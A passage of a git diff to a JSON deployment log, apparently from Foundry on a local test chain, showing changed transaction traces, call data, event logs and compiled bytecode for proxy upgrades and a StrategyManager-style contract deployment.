"0x6080604052348015600f57600080fd5b50607780601d6000396000f3fe6080604052348015600f57600080fd5b506004361060285760003560e01c8063c298557814602d575b600080fd5b600060405190815260200160405180910390f3fea2646970667358221220424d2f5bff64d045b6950bb0e1329244f07cfae4a755f0d78a3a69f9c92adc8464736f6c634300081b0033", + "output": "0x6080604052348015600f57600080fd5b506004361060285760003560e01c8063c298557814602d575b600080fd5b600060405190815260200160405180910390f3fea2646970667358221220424d2f5bff64d045b6950bb0e1329244f07cfae4a755f0d78a3a69f9c92adc8464736f6c634300081b0033", + "gas_used": 23875, + "gas_limit": 47605, + "status": "Return", + "steps": [], + "decoded": { + "label": null, + "return_data": null, + "call_data": null + } + }, + "logs": [], + "ordering": [] + } + ], + "exit": "Return", + "out": "0x6080604052348015600f57600080fd5b506004361060285760003560e01c8063c298557814602d575b600080fd5b600060405190815260200160405180910390f3fea2646970667358221220424d2f5bff64d045b6950bb0e1329244f07cfae4a755f0d78a3a69f9c92adc8464736f6c634300081b0033", + "nonce": 2, + "gas_used": 79145 + }, + "receipt": { + "type": "0x2", + "status": "0x1", + "cumulativeGasUsed": "0x13529", + "logs": [], + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" }, - "block_hash": "0x1ff38862b4e1a20e1c613d101727ece9f658c7a6f5f12eb1f9141139574be097", + "block_hash": "0xa132fcf5a411dbb73abfc284990a3cc8254d584c240d307c839519a9006fea1e", "block_number": 3 }, { "info": { - "transaction_hash": "0x915e9f826dc9f67ede8161a0b96a52b57472804f5d53d99568b80d3cdf6546ec", + "transaction_hash": "0xb6a38a3d8da1705b9b28d965f44c38bad15f54d84fdaf02eac16b102176b150c", "transaction_index": 0, "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", "to": "0x5fbdb2315678afecb367f032d93f642f64180aa3", @@ -4811,10 +4893,10 @@ "selfdestruct_transferred_value": null, "kind": "CALL", "value": "0x0", - "data": "0x9623609d0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe60000000000000000000000009a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000084cf756fdf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "data": "0x9623609d000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9000000000000000000000000a51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c00000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000010422bf40e4000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", "output": "0x", - "gas_used": 98625, - "gas_limit": 154991, + "gas_used": 142336, + "gas_limit": 205678, "status": "Stop", "steps": [], "decoded": { @@ -4840,17 +4922,17 @@ "depth": 1, "success": true, "caller": "0x5fbdb2315678afecb367f032d93f642f64180aa3", - "address": "0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6", + "address": "0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9", "maybe_precompile": null, "selfdestruct_address": null, "selfdestruct_refund_target": null, "selfdestruct_transferred_value": null, "kind": "CALL", "value": "0x0", - "data": "0x4f1ef2860000000000000000000000009a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000084cf756fdf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "data": "0x4f1ef286000000000000000000000000a51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c00000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000010422bf40e4000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", "output": "0x", - "gas_used": 92267, - "gas_limit": 146358, + "gas_used": 135625, + "gas_limit": 195906, "status": "Stop", "steps": [], "decoded": { @@ -4864,7 +4946,7 @@ "raw_log": { "topics": [ "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", - "0x0000000000000000000000009a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae" + "0x000000000000000000000000a51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c0" ], "data": "0x" }, @@ -4891,18 +4973,18 @@ "trace": { "depth": 2, "success": true, - "caller": "0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6", - "address": "0x9a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae", + "caller": "0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9", + "address": "0xa51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c0", "maybe_precompile": null, "selfdestruct_address": null, "selfdestruct_refund_target": null, "selfdestruct_transferred_value": null, "kind": "DELEGATECALL", "value": "0x0", - "data": "0xcf756fdf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000", + "data": "0x22bf40e4000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", "output": "0x", - "gas_used": 79302, - "gas_limit": 131526, + "gas_used": 122355, + "gas_limit": 179999, "status": "Stop", "steps": [], "decoded": { @@ -4915,10 +4997,10 @@ { "raw_log": { "topics": [ - "0x08f0470754946ccfbb446ff7fd2d6ae6af1bbdae19f85794c0cc5ed5e8ceb4f6", - "0x0000000000000000000000000000000000000000000000000000000000000000" + "0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d", + "0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" ], - "data": "0x" + "data": "0x0000000000000000000000000000000000000000000000000000000000000000" }, "decoded": { "name": null, @@ -4929,11 +5011,9 @@ { "raw_log": { "topics": [ - "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", - "0x0000000000000000000000000000000000000000000000000000000000000000", - "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" + "0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6" ], - "data": "0x" + "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512" }, "decoded": { "name": null, @@ -4944,10 +5024,11 @@ { "raw_log": { "topics": [ - "0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d", - "0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" + "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", + "0x0000000000000000000000000000000000000000000000000000000000000000", + "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000000" + "data": "0x" }, "decoded": { "name": null, @@ -4958,9 +5039,9 @@ { "raw_log": { "topics": [ - "0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6" + "0xafa003cd76f87ff9d62b35beea889920f33c0c42b8d45b74954d61d50f4b6b69" ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512" + "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a" }, "decoded": { "name": null, @@ -5003,74 +5084,157 @@ ], "exit": "Stop", "out": "0x", - "nonce": 24, - "gas_used": 121873 + "nonce": 19, + "gas_used": 166144 }, "receipt": { "type": "0x2", "status": "0x1", - "cumulativeGasUsed": "0x1dc11", + "cumulativeGasUsed": "0x28900", "logs": [ { - "address": "0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6", + "address": "0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9", "topics": [ "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", - "0x0000000000000000000000009a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae" + "0x000000000000000000000000a51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c0" ], "data": "0x" }, { - "address": "0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6", + "address": "0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9", "topics": [ - "0x08f0470754946ccfbb446ff7fd2d6ae6af1bbdae19f85794c0cc5ed5e8ceb4f6", - "0x0000000000000000000000000000000000000000000000000000000000000000" + "0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d", + "0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" ], - "data": "0x" + "data": "0x0000000000000000000000000000000000000000000000000000000000000000" }, { - "address": "0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6", + "address": "0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9", "topics": [ - "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", - "0x0000000000000000000000000000000000000000000000000000000000000000", - "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" + "0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6" ], - "data": "0x" + "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512" }, { - "address": "0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6", + "address": "0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9", "topics": [ - "0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d", - "0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" + "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", + "0x0000000000000000000000000000000000000000000000000000000000000000", + "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000000" + "data": "0x" }, { - "address": "0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6", + "address": "0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9", "topics": [ - "0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6" + "0xafa003cd76f87ff9d62b35beea889920f33c0c42b8d45b74954d61d50f4b6b69" ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512" + "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a" }, { - "address": "0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6", + "address": "0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9", "topics": [ "0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498" ], "data": "0x0000000000000000000000000000000000000000000000000000000000000001" } ], - "logsBloom": "0x000000000400000000000000400000004000000000000000008000000000000000000000000000000000000000000000000000000080001000000000000000000000000000000000000004000000020000010000000000000002000000000000000000000200000400000001008008000000040000000000000000000000004000000001000000000000000000000000008000000000c0000000000000000000000000000000000000000000000440000000000000000000000000000000008000000020400000200000000000040000010000002008000000000000000020000000000000000000000000000000000000000000000000000000000000400000" + "logsBloom": "0x00000000000000000000000040000000400000000000000000c00000000000000000000000000000000000000000080000000000000000100000000000000001000000000000000000000400000002000001000000000000000000000000000000000000020000000000000100800800000004000000000000040000000000400000000108000000000000000000000000000000000080000000000000000000000000000000040000000002000400000000000000000000000000000000000000002020400000200000000000040000000000002008000000000000000020000000000000000000000000000000000000000000000000000000002000400000" }, - "block_hash": "0x779004e829c9c04f554cee3ea7aa3dec86c97479e1e767deca9aff40423b5f80", + "block_hash": "0x5af8187dff430ad95e64c0a5f3968ada74e4a0275d643c815c76c540dd0de8d6", "block_number": 16 }, { "info": { - "transaction_hash": "0x24844141bd83f9ae1b97e98c0adfe35fc92104c3140a19a283bcaca2c1bbcbdd", - "transaction_index": 1, + "transaction_hash": "0x0407695da91c821753dcf7e68b5284a95c603e466b110cce53db7254dd1f1278", + "transaction_index": 0, + "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", + "to": "0xb7f8bc63bbcad18155201308c8f3540b07f84f5e", + "contract_address": null, + "traces": [ + { + "parent": null, + "children": [], + "idx": 0, + "trace": { + "depth": 0, + "success": true, + "caller": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", + "address": "0xb7f8bc63bbcad18155201308c8f3540b07f84f5e", + "maybe_precompile": null, + "selfdestruct_address": null, + "selfdestruct_refund_target": null, + "selfdestruct_transferred_value": null, + "kind": "CALL", + "value": "0x0", + "data": "0xf2fde38b000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266", + "output": "0x", + "gas_used": 4364, + "gas_limit": 14198, + "status": "Stop", + "steps": [], + "decoded": { + "label": null, + "return_data": null, + "call_data": null + } + }, + "logs": [ + { + "raw_log": { + "topics": [ + "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", + "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266", + "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" + ], + "data": "0x" + }, + "decoded": { + "name": null, + "params": null + }, + "position": 0 + } + ], + "ordering": [ + { + "Log": 0 + } + ] + } + ], + "exit": "Stop", + "out": "0x", + "nonce": 32, + "gas_used": 25796 + }, + "receipt": { + "type": "0x2", + "status": "0x1", + "cumulativeGasUsed": "0x64c4", + "logs": [ + { + "address": "0xb7f8bc63bbcad18155201308c8f3540b07f84f5e", + "topics": [ + "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", + "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266", + "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" + ], + "data": "0x" + } + ], + "logsBloom": "0x00000000100000000000000000000000000000000040000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001800000000000000000000000000000000000000000000000000100000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" + }, + "block_hash": "0x0b917143d2ca92cceb02854c8c5f3dd9571a6358ba957d7ffe6688d0f8022814", + "block_number": 29 + }, + { + "info": { + "transaction_hash": "0x776076c028dc038e8cca81c0d5751ccfd43c9784435bcdd351396a7d71e48d0e", + "transaction_index": 0, "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", "to": null, - "contract_address": "0x0dcd1bf9a1b36ce34237eeafef220932846bcd82", + "contract_address": "0x0b306bf915c4d645ff596e518faf3f9669b97016", "traces": [ { "parent": null, @@ -5080,17 +5244,17 @@ "depth": 0, "success": true, "caller": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "address": "0x0dcd1bf9a1b36ce34237eeafef220932846bcd82", + "address": "0x0b306bf915c4d645ff596e518faf3f9669b97016", "maybe_precompile": false, "selfdestruct_address": null, "selfdestruct_refund_target": null, "selfdestruct_transferred_value": null, "kind": "CREATE", "value": "0x0", - "data": "0x61010060405234801561001157600080fd5b5060405161337a38038061337a83398101604081905261003091610135565b6001600160a01b0380841660805280831660a052811660c05261005161005d565b50504660e05250610182565b600054610100900460ff16156100c95760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561011b576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b038116811461013257600080fd5b50565b60008060006060848603121561014a57600080fd5b83516101558161011d565b60208501519093506101668161011d565b60408501519092506101778161011d565b809150509250925092565b60805160a05160c05160e0516131a36101d760003960006114b70152600061046e0152600061028501526000818161051a01528181610b8201528181610ecf01528181610f230152611a6c01526131a36000f3fe608060405234801561001057600080fd5b50600436106102065760003560e01c80638da5cb5b1161011a578063c6656702116100ad578063df5cf7231161007c578063df5cf72314610515578063e7a050aa1461053c578063f2fde38b1461054f578063f698da2514610562578063fabc1cbc1461056a57600080fd5b8063c6656702146104c9578063cbc2bd62146104dc578063cf756fdf146104ef578063df5b35471461050257600080fd5b8063b1344271116100e9578063b134427114610469578063b5d8b5b814610490578063c4623ea1146104a3578063c608c7f3146104b657600080fd5b80638da5cb5b1461040157806394f649dd14610412578063967fc0d2146104335780639b4da03d1461044657600080fd5b80635ac86ab71161019d5780637a7e0d921161016c5780637a7e0d92146103675780637ecebe0014610392578063886f1195146103b25780638b8aac3c146103c55780638c80d4e5146103ee57600080fd5b80635ac86ab7146103015780635c975abb14610334578063663c1de41461033c578063715018a61461035f57600080fd5b80634665bcda116101d95780634665bcda1461028057806348825e94146102bf5780634e5a4263146102e6578063595c6a67146102f957600080fd5b806310d67a2f1461020b578063136439dd1461022057806320606b701461023357806332e89ace1461026d575b600080fd5b61021e6102193660046129e8565b61057d565b005b61021e61022e366004612a05565b610639565b61025a7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6040519081526020015b60405180910390f35b61025a61027b366004612a34565b610778565b6102a77f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610264565b61025a7f4337f82d142e41f2a8c10547cd8c859bddb92262a61058e77842e24d9dea922481565b61021e6102f4366004612b45565b610a64565b61021e610a9c565b61032461030f366004612b7e565b609854600160ff9092169190911b9081161490565b6040519015158152602001610264565b60985461025a565b61032461034a3660046129e8565b60d16020526000908152604090205460ff1681565b61021e610b63565b61025a610375366004612ba1565b60cd60209081526000928352604080842090915290825290205481565b61025a6103a03660046129e8565b60ca6020526000908152604090205481565b6097546102a7906001600160a01b031681565b61025a6103d33660046129e8565b6001600160a01b0316600090815260ce602052604090205490565b61021e6103fc366004612bcf565b610b77565b6033546001600160a01b03166102a7565b6104256104203660046129e8565b610bd0565b604051610264929190612c10565b60cb546102a7906001600160a01b031681565b6103246104543660046129e8565b60d36020526000908152604090205460ff1681565b6102a77f000000000000000000000000000000000000000000000000000000000000000081565b61021e61049e366004612ce0565b610d50565b61021e6104b1366004612d22565b610ec4565b61021e6104c4366004612d73565b610f18565b61021e6104d73660046129e8565b610fd0565b6102a76104ea366004612dc6565b610fe1565b61021e6104fd366004612d22565b611019565b61021e610510366004612df2565b61114d565b6102a77f000000000000000000000000000000000000000000000000000000000000000081565b61025a61054a366004612bcf565b611376565b61021e61055d3660046129e8565b61143d565b61025a6114b3565b61021e610578366004612a05565b6114f0565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f49190612e63565b6001600160a01b0316336001600160a01b03161461062d5760405162461bcd60e51b815260040161062490612e80565b60405180910390fd5b6106368161164c565b50565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610681573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a59190612eca565b6106c15760405162461bcd60e51b815260040161062490612ee7565b6098548181161461073a5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610624565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60985460009081906001908116036107ce5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610624565b6002606554036108205760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610624565b60026065556001600160a01b038816600090815260d3602052604090205460ff16156108c75760405162461bcd60e51b815260206004820152604a60248201527f53747261746567794d616e616765722e6465706f736974496e746f537472617460448201527f656779576974685369676e61747572653a207468697264207472616e736665726064820152691cc8191a5cd8589b195960b21b608482015260a401610624565b428410156109495760405162461bcd60e51b815260206004820152604360248201527f53747261746567794d616e616765722e6465706f736974496e746f537472617460448201527f656779576974685369676e61747572653a207369676e617475726520657870696064820152621c995960ea1b608482015260a401610624565b6001600160a01b03858116600081815260ca602090815260408083205481517f4337f82d142e41f2a8c10547cd8c859bddb92262a61058e77842e24d9dea922493810193909352908201939093528b84166060820152928a16608084015260a0830189905260c0830182905260e0830187905290916101000160408051601f1981840301815291815281516020928301206001600160a01b038a16600090815260ca9093529082206001850190559150610a016114b3565b60405161190160f01b6020820152602281019190915260428101839052606201604051602081830303815290604052805190602001209050610a44888288611743565b610a50888c8c8c611902565b60016065559b9a5050505050505050505050565b60cb546001600160a01b03163314610a8e5760405162461bcd60e51b815260040161062490612f2f565b610a988282611ad1565b5050565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610ae4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b089190612eca565b610b245760405162461bcd60e51b815260040161062490612ee7565b600019609881905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610b6b611b3f565b610b756000611b99565b565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610bbf5760405162461bcd60e51b815260040161062490612f99565b610bca838383611beb565b50505050565b6001600160a01b038116600090815260ce60205260408120546060918291908167ffffffffffffffff811115610c0857610c08612a1e565b604051908082528060200260200182016040528015610c31578160200160208202803683370190505b50905060005b82811015610cc2576001600160a01b038616600090815260cd6020908152604080832060ce9092528220805491929184908110610c7657610c76612ff7565b60009182526020808320909101546001600160a01b031683528201929092526040019020548251839083908110610caf57610caf612ff7565b6020908102919091010152600101610c37565b5060ce6000866001600160a01b03166001600160a01b031681526020019081526020016000208181805480602002602001604051908101604052809291908181526020018280548015610d3e57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610d20575b50505050509150935093505050915091565b60cb546001600160a01b03163314610d7a5760405162461bcd60e51b815260040161062490612f2f565b8060005b81811015610bca5760d16000858584818110610d9c57610d9c612ff7565b9050602002016020810190610db191906129e8565b6001600160a01b0316815260208101919091526040016000205460ff1615610ebc57600060d16000868685818110610deb57610deb612ff7565b9050602002016020810190610e0091906129e8565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790557f4074413b4b443e4e58019f2855a8765113358c7c72e39509c6af45fc0f5ba030848483818110610e5b57610e5b612ff7565b9050602002016020810190610e7091906129e8565b6040516001600160a01b03909116815260200160405180910390a1610ebc848483818110610ea057610ea0612ff7565b9050602002016020810190610eb591906129e8565b6000611ad1565b600101610d7e565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610f0c5760405162461bcd60e51b815260040161062490612f99565b610bca84848484611d4c565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610f605760405162461bcd60e51b815260040161062490612f99565b604051636ce5768960e11b81526001600160a01b03858116600483015282811660248301526044820184905284169063d9caed1290606401600060405180830381600087803b158015610fb257600080fd5b505af1158015610fc6573d6000803e3d6000fd5b5050505050505050565b610fd8611b3f565b61063681611fe0565b60ce6020528160005260406000208181548110610ffd57600080fd5b6000918252602090912001546001600160a01b03169150829050565b600054610100900460ff16158080156110395750600054600160ff909116105b806110535750303b158015611053575060005460ff166001145b6110b65760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610624565b6000805460ff1916600117905580156110d9576000805461ff0019166101001790555b6110e1612049565b60c9556110ee83836120e0565b6110f785611b99565b61110084611fe0565b8015611146576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b60cb546001600160a01b031633146111775760405162461bcd60e51b815260040161062490612f2f565b8281146112005760405162461bcd60e51b815260206004820152604b60248201527f53747261746567794d616e616765722e61646453747261746567696573546f4460448201527f65706f73697457686974656c6973743a206172726179206c656e67746873206460648201526a0de40dcdee840dac2e8c6d60ab1b608482015260a401610624565b8260005b8181101561136e5760d1600087878481811061122257611222612ff7565b905060200201602081019061123791906129e8565b6001600160a01b0316815260208101919091526040016000205460ff1661136657600160d1600088888581811061127057611270612ff7565b905060200201602081019061128591906129e8565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790557f0c35b17d91c96eb2751cd456e1252f42a386e524ef9ff26ecc9950859fdc04fe8686838181106112e0576112e0612ff7565b90506020020160208101906112f591906129e8565b6040516001600160a01b03909116815260200160405180910390a161136686868381811061132557611325612ff7565b905060200201602081019061133a91906129e8565b85858481811061134c5761134c612ff7565b9050602002016020810190611361919061300d565b611ad1565b600101611204565b505050505050565b60985460009081906001908116036113cc5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610624565b60026065540361141e5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610624565b600260655561142f33868686611902565b600160655595945050505050565b611445611b3f565b6001600160a01b0381166114aa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610624565b61063681611b99565b60007f000000000000000000000000000000000000000000000000000000000000000046036114e3575060c95490565b6114eb612049565b905090565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611543573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115679190612e63565b6001600160a01b0316336001600160a01b0316146115975760405162461bcd60e51b815260040161062490612e80565b6098541981196098541916146116155760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610624565b609881905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161076d565b6001600160a01b0381166116da5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610624565b609754604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1609780546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383163b1561186257604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e90611783908690869060040161307a565b602060405180830381865afa1580156117a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117c49190613093565b6001600160e01b0319161461185d5760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610624565b505050565b826001600160a01b031661187683836121c6565b6001600160a01b03161461185d5760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610624565b6001600160a01b038316600090815260d16020526040812054849060ff166119a85760405162461bcd60e51b815260206004820152604d60248201527f53747261746567794d616e616765722e6f6e6c7953747261746567696573576860448201527f6974656c6973746564466f724465706f7369743a207374726174656779206e6f60648201526c1d081dda1a5d195b1a5cdd1959609a1b608482015260a401610624565b6119bd6001600160a01b0385163387866121ec565b6040516311f9fbc960e21b81526001600160a01b038581166004830152602482018590528616906347e7ef24906044016020604051808303816000875af1158015611a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a3091906130bd565b9150611a3e86858785611d4c565b604051631452b9d760e11b81526001600160a0